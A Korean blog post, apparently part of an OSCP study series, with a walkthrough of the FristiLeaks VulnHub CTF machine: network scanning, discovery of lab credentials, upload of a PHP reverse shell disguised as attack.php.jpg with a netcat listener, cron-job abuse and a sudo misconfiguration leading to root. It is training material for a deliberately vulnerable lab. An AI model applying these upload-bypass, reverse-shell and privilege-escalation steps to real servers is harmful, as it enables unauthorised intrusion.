[목차]
1. 목표
2. 공격 환경
3. 작업 절차
4. 작업 결과
5. 공격 과정 풀이
6. 해당 유형의 공격 대응 방안
[목표]
root shell 권한 탈취 후 CTF(C4tch the Fl4g)
www.vulnhub.com/entry/fristileaks-13,133/
[공격 환경]
공격 서버 : Kali Linux (Vmware Workstation)
공격 및 분석 툴 : netdiscover / nmap / nikto / searchsploit / webshells
* 피해 서버 IP 할당 불가 문제 해결 방법 *
준비물 : Ubuntu iso 파일
1. CD 이미지를 CD 장비에 넣는다.
2. F/W에서 CD로 먼저 부팅하도록 설정
3. "설치하지 않고 우분투 경험하기" 선택
4. 접속 후 작업
관리자 전환 후
$ sudo -l
$ sudo su -
마운트 설정 확인
# df -h -T
# lsblk
# pvs
# vgs
# lvs
마운트 포인터 만들고 장비 마운트
# mkdir /mnt/server
# mount /dev/gibson-vg(기기명 다르니 확인)/root /mnt/server
# df -h -T
# cd /mnt/server
# chroot /mnt/server
새로운 사용자 생성 및 관리자 권한 부여
# useradd -m -s /bin/bash user01 (# useradd -m -s /bin/bash -G sudo user01)
# passwd user01
# vi /etc/sudoers
user01 ALL=(ALL) NOPASSWD: ALL
> 시스템 재부팅
> F/W에서 DISK로 먼저 부팅하도록 설정
> 재부팅
로그인 창에서 user01 사용자로 로그인
# vi /etc/network/interfaces
---------------------------------
네트워크 재 설정
---------------------------------
# ifdown eth0
# ifup eth0
[작업 절차]
타겟 대상 설정 -> 타겟 정보 수집 ->
타겟 서버 서비스 분석 및 취약점 찾기 ->
취약점에 맞는 공격 방법 설정 및 활용 ->
공격 성공 후 전체 과정 문서화 작업 및 보고서 작성
[작업 결과]
발견된 취약점 : PHP 백도어
사용된 공격 방법 : PHP web-shell
웹쉘은 공격자가 원격에서 웹서버에 명령을 수행할 수 있도록 작성한
웹스크립트(asp, php, jsp, cgi) 파일이다.
업로드 취약점을 통해 시스템에 명령을 내릴 수 있는 코드를 칭하며
내부적인 코드로 인해서 또한 발생할 수 있다.
해당 취약점이 발생되면 시스템에 원격으로 백도어를 심을 수 있다.
[공격 과정 풀이]
1. 타겟 정보 수집
IP 검색 및 포트 정보 확인
# netdiscover
# nmap -sV -O 192.168.10.xxx
발견 : 80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
# nikto -h 192.168.10.xxx -p 80
발견 : robots.txt, /cola, /sisi, /beer
: 링크에 들어가 소스코드도 모두 살펴봤지만 특이한 점은 없다.
* 혹시 모르니 저 키워드들을 모두 brute force attack 용 단어로 등록해 무차별 대입해본다.
# dirb http://192.168.10.xxx /exploit/keyword.txt
* 접속 시도!
* 소스코드를 살펴본다
view-source:192.168.10.140/fristi
* 아래로 내리면 base64로 추정되는 코드가 나타난다.
* 복사한 후 https://codebeautify.org/base64-to-image-converter
들어가 디코딩을 하면,
* 아이디 비번을 입력해 주면
eezeepz
keKkeKKeKKeKkEkkEk
*파일을 올리란다.
* 참고로 올릴 수 있는 파일 확장자는 다음과 같단다.
어떤 파일을 올리면 잠입이 가능할까?
2. 공격 코드 심기
먼저 파일 업로드 화면의 url을 살펴보자
파일 업로드가 가능하며 url이 php로 작성된 시점에서
바로 PHP web-shell이 떠올라야 하겠다.
본인이 즐겨 사용하는 백도어 프로그램을 사용해
권한을 탈취해도 되겠지만 여기선 칼리 리눅스에
기본 내장되어 있는 백도어 프로그램을 사용해보자.
프로그램의 디렉터리는 다음과 같다.
# cd /usr/share/webshells/php/php-reverse-shell.php
해당 파일을 작업 폴더로 복사한 뒤 추후 작업을 위한 설정을 이어가자.
파일명은 업로드 가능한 유형의 확장자를 추가해 지어주고 (ex: attack.php.jpg 등)
편집기로 해당 파일을 열어 아랫부분 설정을 변경해 주자.
이제 위 코드를 업로드한 후
netcat으로 붙인 뒤 파일을 실행시키면
잠입에 성공할 수 있겠다.
먼저 파일 업로드를 실행한다.
다음으로 터미널 하나를 리슨 상태로 만들어 대기시킨다.
# nc -lvp 7979
마지막으로 업로드한 파일을 실행시켜주자.
탭을 하나 더 띄워 다음과 같이 입력해 실행!
192.168.10.xxx/fristi/uploads/attack.php.jpg
이제 리슨 상태로 대기 중이던 터미널을 보면,
3. 깃발 찾기
이제부터 정보를 수집해야 한다.
첫 번째 힌트
주요 내용만 해석하자면 다음과 같다.
/home/admin 밑에서 사용 가능한
명령어들이 몇 가지 있고 그것들을 활용해
/tmp/runthis라는 파일로
전체 경로 포함해 입력하라는..
다음과 같은 커맨드를 입력
$ echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
/tmp 폴더로 이동하면 제리가 설정해둔 매 분마다 실행되는
스케쥴러에 따라 우리의 입력 내용이 'cronresult'이라는
파일에 저장/실행되었음을 확인할 수가 있고, 따라서
접근 권한이 없던 admin 폴더에 접근이 가능해졌다.
다음 힌트를 캐기 위해 해당 폴더를 뒤져보니
두 개의 txt 파일과
두 개의 파이썬 프로그램이 있다.
먼저 txt 내용을 보면,
이제 파이썬 프로그램 중 cryptpass란 것을 살펴보니
문자열을 base64방식의 코드로 암호화 시켜주는 프로그램인듯하다.
일단 실행시켜 보자. 인자 값을 하나 입력으로 받아야 하니
아까 위의 암호문을 넣어보자.
암호문의 암호화.
이 경우 코드를 수정해
decode 작업이 수행되도록
해줘야 한다.
vi 편집기를 열어 수정을 하려 했으나 화면 오류로 인해 정상 작업 수행이 불가,
코드 스크립트를 복사해 파이참으로 옮겨 코드 수정을 진행했다.
import base64,codecs,sys
def encodeString(str):
# base64string= base64.b64encode(str) => 원본 코드 주석처리
# return codecs.encode(base64string[::-1], 'rot13') => 원본 코드 주석처리
decode = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(decode)
cryptoResult=encodeString(sys.argv[1])
print(cryptoResult)
함수의 코드를 바꿔 주었고 이제 프로그램을 실행시켜 보면
thisisalsopw123
나머지 암호코드는 새로운 프로그램을 작성해 복호화 작업을 해본다.
import codecs
str = '=RFn0AKnlMHMPIzpyuTI0ITG'
str = codecs.decode(str, 'rot13')
str = str[::-1]
str = codecs.decode(str, 'base64')
print(str)
프로그램을 돌려주면
LetThereBeFristi!
암호를 얻었으니 사용처를 찾아보자.
우선 home 폴더로 이동해 보면
사용자들의 목록을 확인할 수 있다.
fristigod 사용자로 전환을 시도해 보았고
다음과 같은 에러 메시지를 받게 된다.
'standard in must be a tty'
TTY 쉘이 필요한 상황.
TTY shell = CLI(command line interface)
파이썬을 활용해 대화형 터미널을 생성 후
다시 한번 접속을 시도한다.
성공!
이제 또다시 검색을 해야 한다.
가장 먼저 할 일은 혹 숨은 폴더나 파일은 없는지 뒤져보는 것.
ls로 안 나오면 ls-la로
.bash_history를 뒤져보자.
확인차 (다른 방법으로)
사용자가 수행했던 sudo 커맨드를 확인해 보자.
자주 수행했고 겹치는 부분은
/var/fristigod/.secret_admin_stuff/doCom
해당 경로로 이동해 알아본다.
상세 검색!
doCom은 프로그램임을 알 수 있다.
이제 이것을 실행시켜보면
유저를 맞춰야 실행 가능하다.
위에서 .bash_history를 자세히 살펴보면
어떤 유저로 들어가 위 작업을 수행했었는지
힌트를 얻을 수 있다.
이를 활용해 첫 번째 시도!
$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
비밀번호를 입력하라고 나오길래
됐구나 싶었지만
프로그램 사용 방법을 알려준다.
뒤에 terminal CMD를 추가로 입력하란다.
다시 시도!
$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
루트!
이제 고지가 눈앞이다. 깃발을 찾아보자.
여기저기 찾다가 어느 디렉터리에서든
# cd라고 입력 후 # ls 검색을 하면 보이는
파일들이 있다. 그중 notes.txt를 읽어보면
제리의 마지막 힌트를 확인할 수 있고
root의 홈 디렉터리, 즉 /root로 이동해야 한다.
fristileaks_secrets.txt를 읽어보자!
-메시지 전문-
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it's supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: Y0u_kn0w_y0u_l0ve_fr1st1
'OSCP > Vulnahub' 카테고리의 다른 글
4. VulnOSv2 (0) | 2021.03.06 |
---|---|
3. Stapler (0) | 2021.02.10 |
(번외) Stapler 서버 설치 해프닝 (0) | 2021.01.23 |
1. KIOPTRIX: 2014 (#5) (2) | 2020.12.03 |
0. 개요 (0) | 2020.12.03 |